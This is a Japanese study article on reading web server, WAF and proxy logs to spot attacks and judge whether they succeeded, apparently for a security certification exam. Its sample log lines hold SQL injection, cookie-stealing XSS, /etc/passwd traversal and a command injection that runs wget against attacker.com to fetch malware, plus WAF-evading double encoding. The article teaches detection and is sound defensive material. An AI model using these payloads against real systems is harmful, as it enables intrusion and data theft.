Webシステムを標的としたサイバー攻撃は日々高度化・巧妙化しており、企業にとってWebアプリケーションのセキュリティ対策は喫緊の課題です。攻撃の予兆を察知し、インシデント発生時に被害の全容を解明する要となるのが「ログ分析」です。ログには、誰が、いつ、どこから、どのような操作を行ったかという事実が克明に記録されています。
過去問においても、Webセキュリティにおけるログ分析は毎回のように頻出するテーマです。攻撃の手法を暗記するだけでは太刀打ちできません。実際のWebサーバーのアクセスログ・エラーログ・WAF（Web Application Firewall）の検知ログを読み解き、攻撃者の意図・攻撃の成否・影響範囲を正確に特定する実践スキルが求められます。
本記事では、Webセキュリティにおけるログ分析の基礎から、過去問を豊富に交えた具体的な着眼点、代表的な攻撃手法ごとのログの特徴までを徹底解説します。実務にも直結するログの読み方を身につけ、どのようなログが提示されても自信を持って分析できる力を養いましょう。
Webサーバーのログの基本構造と各フィールドの意味
ログ分析を正確に行うためには、まず調査対象となるログのフォーマットと各項目の意味を正確に把握することが不可欠です。試験問題の冒頭でも、対象システムのログフォーマットが定義とともに提示されます。ログの構造を深く理解することが、些細な異常を見抜くための第一歩です。
アクセスログの代表的なフォーマット
Webサーバー（Apache・Nginx等）のアクセスログは設定によってカスタマイズできますが、一般的には「Combined Log Format（複合ログフォーマット）」が広く使われています。過去問で提示されるログの多くもこのフォーマット、またはそれをベースにレスポンス時間等の情報を追加した形式です。
Combined Log Formatは以下のような構造を持ちます。
192.168.1.10 - - [10/Mar/2026:10:00:00 +0900] "GET /index.html HTTP/1.1" 200 1024 "http://example.com/referer" "Mozilla/5.0 ..."
一見すると文字列の羅列ですが、空白で区切られた各フィールドには重要な意味があります。このフォーマットを頭に入れておくだけで、試験本番でログから読み取れる情報量は飛躍的に増加し、解答スピードも格段に上がります。
ログを構成する主要な8つの要素
各フィールドの意味と、分析上のポイントを整理します。
- アクセス元IPアドレス（
192.168.1.10）：通信を送信してきたクライアントのIPアドレスです。攻撃元の特定や、同一IPからのブルートフォース攻撃・パスワードリスト攻撃の検知に使います。リバースプロキシやロードバランサを経由している場合は、本来のクライアントIPがX-Forwarded-Forヘッダに記録されることも多く、試験問題ではネットワーク構成図とログフォーマットの対応関係が問われるケースがあります。 - クライアントの識別子・ユーザー名（
- -）：通常はハイフンが記録されます。Basic認証が有効な場合、認証済みユーザー名が記録され、どのアカウントが侵害されたかを特定する手がかりになります。 - タイムスタンプ（
[10/Mar/2026:10:00:00 +0900]）：アクセス日時です。JST（日本標準時）は+0900、UTC（協定世界時）は+0000で記録されます。複数のサーバー間でログを突き合わせる際は、タイムゾーンのずれがないかを最初に確認することが基本です。 - リクエストライン（
"GET /index.html HTTP/1.1"）：「HTTPメソッド」「リクエストURI」「プロトコルバージョン」の3要素で構成されます。攻撃のペイロード（悪意のあるコード）の大部分はURIのパラメータ部分に含まれます。 - HTTPステータスコード（
200）：サーバーの処理結果を示す3桁の数字です。攻撃の成否を推測する最重要指標で、200（成功）403（拒否）404（未検出）500（サーバーエラー）の意味を確実に押さえておいてください。 - レスポンスのバイト数（
1024）：クライアントへ返したデータサイズ（ヘッダ除く）です。エラー時と正常時、あるいは情報漏洩発生時でサイズが大きく異なることがあり、異常検知の重要なヒントになります。過去問では、このバイト数の変化から被害の有無を判定させる設問が頻出します。 - リファラ（
"http://example.com/referer"）：どのページのリンクからアクセスしてきたかを示します。CSRF（クロスサイトリクエストフォージェリ）攻撃の調査で正規の画面遷移を経ているかを確認する際に注目します。 - ユーザーエージェント（
"Mozilla/5.0 ..."）：クライアントが使用するブラウザやOS、ツールの情報です。攻撃者が専用の脆弱性スキャンツールやスクリプトを使用している場合、特異なユーザーエージェントが記録され、攻撃の自動化レベルを推測する材料になります。
正常アクセスと異常アクセスの見分け方
ログ分析の基本は「正常な状態（ベースライン）」を把握し、そこから逸脱した「異常な状態」を見つけ出すことです。正常なユーザーはトップページにアクセスしてリンクを辿り、数秒〜数十秒の間隔で画像やCSSファイルを読み込みます。
異常なアクセスには、次のような特徴が現れます。
- 不自然なURI：通常の画面遷移では発生しない
%27や<script>などの長い記号の羅列がパラメータに含まれている。 - 短時間での大量アクセス：1秒間に数十〜数百回といった、人間では不可能な速度のアクセスが同一IPから発生している。
- エラーコードの頻発：
400 Bad Requestや500 Internal Server Errorが短期間に集中して記録されている。 - 隠しファイルや管理画面への直接アクセス：
/admin/config.phpや/etc/passwdなど、通常のユーザーがアクセスしないパスへのリクエストが記録されている。
代表的なWeb攻撃手法とログの特徴｜過去問の出題例とともに
頻出する代表的な攻撃手法と、それぞれがアクセスログに残す痕跡を、実際の試験での出題ポイントとともに解説します。攻撃のメカニズムとログの特徴をセットで理解することが分析精度の向上につながります。
SQLインジェクションの痕跡を見抜く（令和3年春期 午後Ⅰ 問2 類題）
SQLインジェクションは、入力フォームやURLパラメータに悪意のあるSQL文の断片を挿入し、バックエンドのデータベースを不正に操作する攻撃です。顧客情報の漏洩やデータ改ざんなど、致命的な被害をもたらす可能性があります。
ログに現れる主な特徴
- シングルクォート（
'）やハイフン（--）：文字列リテラルを閉じたり、以降のSQL文をコメントアウトするための記号です。URLエンコードされた%27（シングルクォート）として記録されることが大半です。 - SQLの予約語：
UNION・SELECT・AND・OR・SLEEPなどのキーワードが含まれます。 - 常に真となる条件式：
OR 1=1やOR 'a'='a'など、認証回避や全件データ抽出を狙った式が含まれます。
過去問の着眼点（令和3年春期 午後Ⅰ 問2 類題）
令和3年春期の午後問題では、WAFの検知ログとWebサーバーのアクセスログを突き合わせてSQLインジェクション攻撃を分析するシチュエーションが出題されました。商品検索のパラメータ部分に1' OR '1'='1がURLエンコードされた状態で送信されている痕跡が提示されています。
10.0.0.5 - - [10/Mar/2026:10:15:22 +0900] "GET /item.php?id=1%27%20OR%20%271%27=%271 HTTP/1.1" 200 45000 "-" "Mozilla/5.0"
この設問の最大のポイントは「攻撃が成功し情報漏洩が発生したか」の判定です。ステータスコードが200であることに加え、通常のレスポンスサイズが1000バイト程度であるのに対し、この不正なリクエストでは45000バイトになっている点に注目させ、全商品データが抽出されてしまったことを論理的に導き出させます。ログに記録された数値を根拠として被害を断定するプロセスが重要です。
クロスサイトスクリプティング（XSS）のログ分析（令和5年秋期 午後Ⅰ 問1 類題）
XSSは、攻撃者がWebページに悪意のあるスクリプト（主にJavaScript）を埋め込み、閲覧したユーザーのブラウザ上でスクリプトを強制実行させる攻撃です。セッションハイジャックや偽のログイン画面への誘導などに悪用されます。
ログに現れる主な特徴
- HTMLタグ・スクリプトタグ：
<script>・<img>・<iframe>などのタグがパラメータに含まれます。 - JavaScriptのイベントハンドラ：
onload・onerror・onclickなど、スクリプトを発火させる属性が含まれます。 - 悪意のあるコード：
alert(1)（脆弱性確認用）やdocument.cookie（セッションID窃取用）などが含まれます。 - これらはWAFの検知を回避するため、
<→%3C・>→%3EのようにURLエンコードされているのが一般的です。
過去問の着眼点（令和5年秋期 午後Ⅰ 問1 類題）
令和5年秋期では、掲示板システムを模したアプリケーションにおける入力チェック不備を突くXSS攻撃が出題されました。ログには検索キーワードのパラメータとして以下の文字列が記録されています。
10.0.0.6 - - [10/Mar/2026:10:20:05 +0900] "GET /search.php?q=%3Cscript%3Ealert(document.cookie)%3C/script%3E HTTP/1.1" 200 1500 "-" "Mozilla/5.0"
%3Cscript%3Ealert(document.cookie)%3C/script%3Eをデコードすると<script>alert(document.cookie)</script>となります。設問ではこの文字列をデコードした上で、攻撃者が何を目的としてこのリクエストを送信したのか（Cookie情報の窃取によるセッションハイジャック）を問う内容でした。ログから攻撃者の「真の目的」を推測する能力が試されます。
ディレクトリトラバーサルによるファイル不正アクセスの検知（令和4年春期 午後Ⅰ 問1 類題）
ディレクトリトラバーサル（パストラバーサル）は、ファイルパスを指定するパラメータに親ディレクトリを示す文字列（../等）を挿入し、Webサーバーの公開ディレクトリを抜け出して非公開ファイル（パスワードファイル・システム設定ファイル等）に不正アクセスする攻撃です。
ログに現れる主な特徴
- 親ディレクトリの指定：
../や..\が多数繰り返して使用されます。 - システムファイルのパス：Linux/UNIX系は
/etc/passwd・/etc/shadow、Windows系はC:\Windows\win.iniなどがパラメータ末尾に指定されます。 - エンコードによる難読化：
../をURLエンコードした%2e%2e%2fや、WAFをすり抜けるための二重エンコードが用いられるケースもあります。
過去問の着眼点（令和4年春期 午後Ⅰ 問1 類題）
令和4年春期では、ファイルのダウンロード機能を持つWebアプリケーションに対するディレクトリトラバーサル攻撃が出題されました。
10.0.0.7 - - [10/Mar/2026:10:25:30 +0900] "GET /download.php?file=../../../../../../etc/passwd HTTP/1.1" 200 850 "-" "Mozilla/5.0"
問題では、ステータスコードが200で返っていること、そしてレスポンスのバイト数（850バイト）が問題文の別の箇所に記載されている「/etc/passwdファイルの正常なサイズ」と完全に一致していることから、システムファイルの読み取りに成功したと判断させるプロセスが問われました。単なる推測ではなく、ログに記録された数値を根拠として被害を断定するアプローチが正解への道です。
OSコマンドインジェクションの特異なパラメータ（令和4年秋期 午後Ⅱ 問2 類題）
OSコマンドインジェクションは、Webアプリケーションからシェルを呼び出してOSコマンドを実行する処理に不備がある場合、攻撃者が任意のOSコマンドを送り込んでサーバー上で不正操作を実行させる非常に危険な攻撃です。
ログに現れる主な特徴
- コマンドセパレータ（区切り文字）：
;（セミコロン）・|（パイプ）・&（アンパサンド）・&&・||などが含まれます。これらも通常は%3B・%7Cにエンコードされています。 - 代表的なOSコマンド：
cat・ls・id・whoami・wget・curl（外部からの不正ツールのダウンロード）などが含まれます。
過去問の着眼点（令和4年秋期 午後Ⅱ 問2 類題）
令和4年秋期の長文問題では、OSコマンドインジェクションからバックドアの設置へと繋がる高度な攻撃シナリオが出題されました。アクセスログには以下の痕跡が記録されています。
10.0.0.8 - - [10/Mar/2026:10:30:15 +0900] "GET /ping.php?ip=127.0.0.1%3Bwget+http%3A%2F%2Fattacker.com%2Fmalware.sh HTTP/1.1" 200 2048 "-" "Mozilla/5.0"
%3Bwget+http%3A%2F%2Fattacker.com%2Fmalware.shをデコードすると;wget http://attacker.com/malware.shとなり、外部の攻撃者サーバーからマルウェアをダウンロードさせるOSコマンドです。設問では、このログから攻撃者の行動を推測した上で、次に「ファイアウォールの送信（アウトバウンド）ログ」を調査して実際にマルウェアのダウンロード通信が発生したかを確認させる、高度なインシデントハンドリング能力が問われました。
パスワードリスト攻撃とブルートフォース攻撃（令和2年秋期 午後Ⅰ 問3 類題）
認証機能への攻撃も頻出テーマです。他のサイトから流出したIDとパスワードのリストを用いてログインを試行する「パスワードリスト攻撃」や、総当たりで試す「ブルートフォース攻撃」は、ログのパターンを見ることで見抜くことができます。
ログに現れる主な特徴
- ブルートフォース攻撃：特定のIPアドレスから、同一のユーザーIDに対して短期間に大量のログイン試行（POSTリクエスト）が発生します。
- パスワードリスト攻撃：特定のIPアドレスから、次々と異なるユーザーIDでのログイン試行が発生します。高度な攻撃では複数のIPアドレスを分散使用してアクセス頻度を下げる「スロースプレー攻撃」がとられることもあり、一つのIPだけを追っていては見逃します。
過去問の着眼点（令和2年秋期 午後Ⅰ 問3 類題）
令和2年秋期の試験では、アクセスログのIPアドレス・アクセス時刻・ログイン結果（ステータスコードやレスポンスサイズの違い）から攻撃手法を特定する問題が出題されました。特定のIPから多種多様なユーザーIDでのログイン失敗（レスポンスサイズ：小）が繰り返され、時折ログイン成功（レスポンスサイズ：大）が混ざるパターンから、ブルートフォースではなくパスワードリスト攻撃であると結論づけるアプローチが求められました。
過去問特有のログ分析「ひっかけ」と絶対に意識すべき着眼点
実際の試験問題では、単純に悪意のある文字列を見つけるだけでは正解にたどり着けないよう、巧妙なひっかけや複合的な条件付けが用意されています。ここでは過去問を解く上で必ず意識すべき着眼点を整理します。
ステータスコード「200」＝攻撃成功とは限らない
ログ分析の設問において最も重要なタスクが、「攻撃が試行されたこと（検知）」の指摘だけでなく、「その攻撃が最終的に成功したのかどうか（被害の有無）」の判定です。
多くの受験者が陥りやすい罠が、「攻撃コードが含まれたリクエストにステータスコード200が返っているから攻撃は成功した」と短絡的に結びつけることです。SQLインジェクションを試みたものの、アプリケーション側で入力値が適切にサニタイズ（無害化）されており、単にトップページのHTMLが正常に表示されただけでも、ステータスは200になります。
合否を分けるのは「正常なアクセスとの差異」を見つけられるかどうかです。ステータスコードだけでなく、レスポンスのバイト数や処理にかかった時間など、複数の要素を組み合わせて論理的な根拠を積み上げる習慣をつけましょう。
WAFの動作モードとログの関係性
近年非常に多い出題パターンが、Webサーバーの手前にWAFが設置されている構成です。WAFが攻撃を検知して「遮断（ブロック）」した場合、Webサーバーのアクセスログにはそもそも記録されないか、クライアントへのステータスコードは403 Forbidden等になります。
一方でWAFが「監視（モニタリング）モード」で稼働している場合、攻撃ログはWAFにも記録され、かつWebサーバーのアクセスログにもそのまま記録（ステータス200等）が残ります。問題文中に記載された「WAFの動作モード（防御モードか監視モードか）」を読み落とすと、ログの解釈を180度間違えてしまいます。システム構成と機器の仕様設定を最初に確認することは必須の作業です。
エンコードされたペイロードの確実な解読
攻撃者はWAFのシグネチャによる検知を逃れるため、攻撃コードを様々な方法で難読化します。ログ分析では「元の姿」にデコードして意図を解釈する必要があります。
URLエンコード（パーセントエンコーディング）の主要対応表
%27→'（シングルクォート）%3C→<（小なり記号）%3E→>（大なり記号）%20→+がスペースを意味することも%2F→/（スラッシュ）%3B→;（セミコロン）%7C→|（パイプ）
Base64エンコード：OSコマンドインジェクション等で複雑なコマンドを文字列化して送り込む際に使用されます。アルファベット大文字小文字・数字・+・/で構成され、末尾が=で終わることが特徴です。
二重エンコード：WAFが一度だけデコードする仕様を逆手にとり、%252e%252e%252f（デコードすると%2e%2e%2f、さらにデコードすると../）のようにエンコードを重ねる手法も過去問に出題実績があります。試験問題では「※URIはURLエンコードされている」と注記があることが多いため、見慣れない英数字の羅列があれば何らかのエンコードを疑ってください。
複数ログの突き合わせによる高度なインシデント分析
試験の午後問題は実務のシミュレーションです。単一のアクセスログだけでなく、複数の異なるログを突き合わせて事象の全容を解明する能力が求められます。
WAFログとアクセスログの比較検証
WAFログとWebサーバーのアクセスログを突き合わせることで、「攻撃が試行されたこと」と「それがサーバーに到達したか」を確認します。タイムスタンプ・送信元IPアドレス・HTTPリクエストのURIをキーとして2つのログを結合（ジョイン）する思考回路を持ちましょう。これにより、WAFの検知をすり抜けた未知の攻撃（ゼロデイ攻撃）や、シグネチャのチューニング不足を指摘する設問にも対応できます。
WAFのログには、以下のセキュリティ特化の情報が記録されています。
- どの検知ルール（シグネチャ）に抵触したか
- 攻撃の種別（SQLi・XSS等）
- 通信を遮断（Block）したか、監視（Monitor）のみか
エラーログから攻撃の成否を断定する
Webサーバーのアクセスログだけでは、アプリケーション内部で具体的に何が起きたかまでは分かりません。アクセスログで不審なリクエストやステータスコード500を発見した場合は、同じ時間帯の「エラーログ（error_log等）」を必ず確認します。エラーログには「データベース接続に失敗した」「SQLの構文にエラーがある（インジェクションが試行された確実な証拠）」といった詳細な内部情報が記録されており、攻撃手法の特定と脆弱性の根本原因の究明に役立ちます。
プロキシログから内部の感染端末を特定する
攻撃のベクトルが外部から内部（インバウンド）だけでなく、内部から外部（アウトバウンド）への通信として出題されることもあります。例えば、社内の従業員端末がマルウェアに感染し、外部のC&C（コマンド＆コントロール）サーバーと不正な通信を行っているケースです。
この場合、出入口に設置されたフォワードプロキシのログを分析します。特定の内部IPアドレスから不審なドメインや直接IPアドレス指定で定期的なHTTPリクエスト（ビーコニング通信）が発生していないかを確認し、感染したPC端末を特定するプロセスが出題されています。令和4年秋期の長文問題では、OSコマンドインジェクションでマルウェアをダウンロードさせた後のアウトバウンド通信の痕跡を、ファイアウォールログとプロキシログから追跡させる設問が含まれていました。
実務にも活きるログ分析の高度な視点
試験対策の枠を超えて、実際のインシデントレスポンスでログ分析を効率的かつ確実に行うための視点を解説します。
時間軸（タイムスタンプ）を追って攻撃シナリオを組み立てる
攻撃の多くは、事前調査・本番の攻撃・事後処理へと段階的に行われます。タイムスタンプを活用して一連の動きを「ストーリー」として読み解くことが重要です。
- 攻撃の準備段階の特定：数十秒〜数分の間に大量のエラー（404等）を発生させながら攻撃可能なポイントを探っているスキャン行為がないかを確認します。
- IPアドレスの追跡：不審なアクセスを行ったIPアドレスを特定したら、そのIPが「過去にどのようなアクセスをしていたか」「攻撃成功後にどのような操作を行ったか」をログ全体からフィルタリングして追跡します。バックドア設置の痕跡や他ファイルのダウンロード痕跡を発見できます。
- セッションハイジャックの検知：異なるIPアドレスから同一のセッションID（Cookie等）を用いたアクセスが急に発生した場合、セッションハイジャックが疑われます。
SIEMを活用したログ分析の自動化と高度化
大規模なシステムでは、膨大な量のログを手動で分析することは現実的ではありません。そこで活用されるのが「SIEM（Security Information and Event Management）」です。SIEMは複数のシステムのログを一元収集し、相関分析を自動化することでセキュリティアナリストの負担を大幅に軽減します。
SIEMの主な機能は以下の通りです。
- ログの一元管理：WebサーバーログやWAFログ・認証ログ・OSログなど多種多様なログを統合管理します。
- リアルタイム相関分析：複数のイベントを組み合わせて攻撃パターンを自動検知します。「同一IPから5分以内に50回以上の404エラー→SQLインジェクションを含むリクエスト→ステータスコード200」という一連のパターンをリアルタイムで検知してアラートを発報します。
- ダッシュボードとレポート生成：分析結果を視覚化し、インシデント対応の迅速化を支援します。
代表的なSIEM製品はSplunk・Microsoft Sentinel・IBM QRadarなどです。試験においてもSIEMの概念や役割を問う問題が出題されることがあるため、基本的な仕組みを押さえておきましょう。
被害範囲を特定してインシデントレスポンスへ繋げる
ログ分析の最終目的は、ビジネスへの影響を最小限に抑えるためのインシデントレスポンスへと繋げることです。「どのような攻撃を受けたか」が判明したら、次は「何が盗まれたか・改ざんされたか」という被害範囲の特定が必要です。
例えばディレクトリトラバーサルによって/etc/passwdが読み取られた可能性が高い（ステータスコード200・サイズ一致）と判明した場合、「直ちにシステム管理者のパスワードを変更する」「認証ログで不正なログイン履歴がないか確認する」といった具体的なアクションを決定します。ログ分析は事実を明らかにし、次の一手を打つための重要な根拠となります。
まとめ：ログ分析スキルはセキュリティ専門家の核心
本記事では、Webセキュリティにおけるログ分析問題の攻略法を、過去問の具体的な出題例（SQLインジェクション・XSS・ディレクトリトラバーサル・OSコマンドインジェクション・パスワードリスト攻撃）を豊富に交えながら体系的に解説しました。
基礎の理解として、Combined Log Formatなどのログ構造を把握し、IPアドレス・タイムスタンプ・リクエストライン・ステータスコード・レスポンスサイズといった各要素の意味を正確に理解することが、すべての出発点です。
攻撃手法の知識として、各種攻撃がログにどのような特異な痕跡（特殊な記号・パス・コマンド・エンコードされた文字列）を残すかを、過去問のパターンとして記憶しておく必要があります。
過去問を解く際の視点として、単なるキーワード探しに終始せず、ステータスコードとレスポンスサイズの差異から「攻撃の成否」を論理的に判定し、WAFログ・エラーログ・プロキシログなど複数のログを相関分析して「攻撃者のシナリオ全体」を俯瞰することが高得点への鍵です。
ログ分析は、サイバー空間における緻密な「鑑識活動」です。無味乾燥に見える文字の羅列の中から真実を見つけ出すスキルは、試験合格の武器になるだけでなく、セキュリティ専門家として最前線で活躍するための生涯の財産となります。様々なパターンの過去問ログに何度も触れ、些細な異常を見抜く鋭い「目」を養い続けましょう。